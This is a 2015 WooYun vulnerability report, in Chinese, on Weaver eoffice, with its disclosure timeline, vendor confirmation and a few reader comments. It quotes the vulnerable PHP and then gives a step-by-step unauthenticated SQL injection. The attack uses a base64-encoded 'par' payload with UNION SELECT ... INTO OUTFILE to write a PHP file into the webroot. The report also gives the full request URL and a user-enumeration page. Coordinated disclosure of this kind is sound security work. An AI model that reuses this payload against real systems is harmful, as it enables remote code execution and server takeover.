缺陷编号:WooYun-2015-0128007
漏洞标题:泛微eoffice前台getshell+一处小问题(无需登录)
相关厂商:泛微eoffice
漏洞作者:牛肉包子
提交时间:2015-07-23 11:39
公开时间:2015-10-22 16:16
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
Tags标签:
2015-07-23: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认,细节仅向厂商公开
2015-07-27: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2015-09-17: 细节向核心白帽子及相关领域专家公开
2015-09-27: 细节向普通白帽子公开
2015-10-07: 细节向实习白帽子公开
2015-10-22: 细节向公众公开
rt
看到inc/group_user_list/group_xml.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
session_start( );<br> include_once( "inc/conn.php" );<br> include_once( "inc/xtree_xml.inc.php" );<br> include_once( "inc/utility_all.php" );<br> header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" );<br> header( "Cache-Control: no-cache, must-revalidate" );<br> header( "Pragma: no-cache" );<br> header( "Content-Type: text/xml" );<br> $pararr = explodestpar( $_REQUEST['par'] );<br> $groupid = $pararr['groupid'];<br> if ( $groupid == "" )<br> {<br> exit( );<br> }<br> $groupurl_fix = "?";<br> $userurl_fix = "?";<br> if ( 0 < strpos( $pararr['group_url'], "?" ) )<br> {<br> $groupurl_fix = "&";<br> }<br> if ( 0 < strpos( $pararr['user_url'], "?" ) )<br> {<br> $userurl_fix = "&";<br> }<br> $xtreeXml = new xtreeXml( );<br> $xtreeXml->initXml( );<br> if ( $pararr['group'] == 1 )<br> {<br> $sql = "SELECT * FROM pub_group WHERE GROUP";<br> }<br> else<br> {<br> $sql = "SELECT * FROM USER,USER_GROUP WHERE USER_GROUP.GROUP";<br> }<br> $rs = exequery( $connection, $sql );<br> $row = mysql_fetch_array( $rs );<br> $groupmember = $row['GROUP_MEMBER']; |
$groupid没有被双引号包裹,然后造成注入。然后$groupid来自于$pararr['groupid'];其中经过了$explodestpar这个函数
1 |
function explodeStPar( $enpar ){$depar = base64_decode( $enpar );$arrpar = explode( "|", $depar );if ( !is_array( $arrpar ) ){return false;}$i = 0;for ( ; $i < sizeof( $arrpar ); ++$i ){$strpar = $arrpar[$i];$tmparr = explode( ":", $strpar );$j = 0;for ( ; $j < sizeof( $tmparr ); ++$j ){if ( $j == 0 ){preg_match( "/\\[([a-z0-9-_].+)\\]/i", $tmparr[$j], $exp );$par = $exp[1];}else{preg_match( "/\\[(.*)\\]/i", $tmparr[$j], $exp );$val = $exp[1];}}if ( trim( $par ) != "" ){$rearr[$par] = $val;}}return $rearr;} |
在这里经过了base64_decode 所以不受GPC影响,而且泛微安装完成之后mysql是root,可以直接写文件。这样就可以完美的getshell了。首先我们要构造如何的数据
1 |
[group]:[1]|[groupid]:[1'] |
然后base64_encode一下。
1 |
W2dyb3VwXTpbMV18W2dyb3VwaWRdOlsxJ10= |
可以看到php报错了。然后我们构造写shell的语句。要注意的是sql语句里面不能含有:号。然后我们构造如下exp
1 |
[group]:[1]|[groupid]:[1 union select '<?php phpinfo()?>',2,3,4,5,6,7,8 into outfile '../webroot/axxxxxxxx.php'] |
base64一下
1 |
W2dyb3VwXTpbMV18W2dyb3VwaWRdOlsxIHVuaW9uIHNlbGVjdCAnPD9waHAgcGhwaW5mbygpPz4nLDIsMyw0LDUsNiw3LDggaW50byBvdXRmaWxlICcuLi93ZWJyb290L2F4eHh4eHh4eC5waHAnXQ== |
小问题 可以遍历所有用户名
1 |
http://**.**.**.**:8028/UserSelect/main.php# |
然后访问
1 |
http://**.**.**.**:8028/inc/group_user_list/group_xml.php?par=W2dyb3VwXTpbMV18W2dyb3VwaWRdOlsxIHVuaW9uIHNlbGVjdCAnPD9waHAgcGhwaW5mbygpPz4nLDIsMyw0LDUsNiw3LDggaW50byBvdXRmaWxlICcuLi93ZWJyb290L2F4eHh4eHh4eC5waHAnXQ== |
成功生成shell
1 |
http://**.**.**.**:8028/axxxxxxxx.php |
0.0
危害等级:高
漏洞Rank:10
确认时间:2015-07-2416:14
CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。
暂无
说好的带我飞呢
mark
说好的带我飞呢
说好的带我飞呢
原文连接
的情况下转载,若非则不得使用我方内容。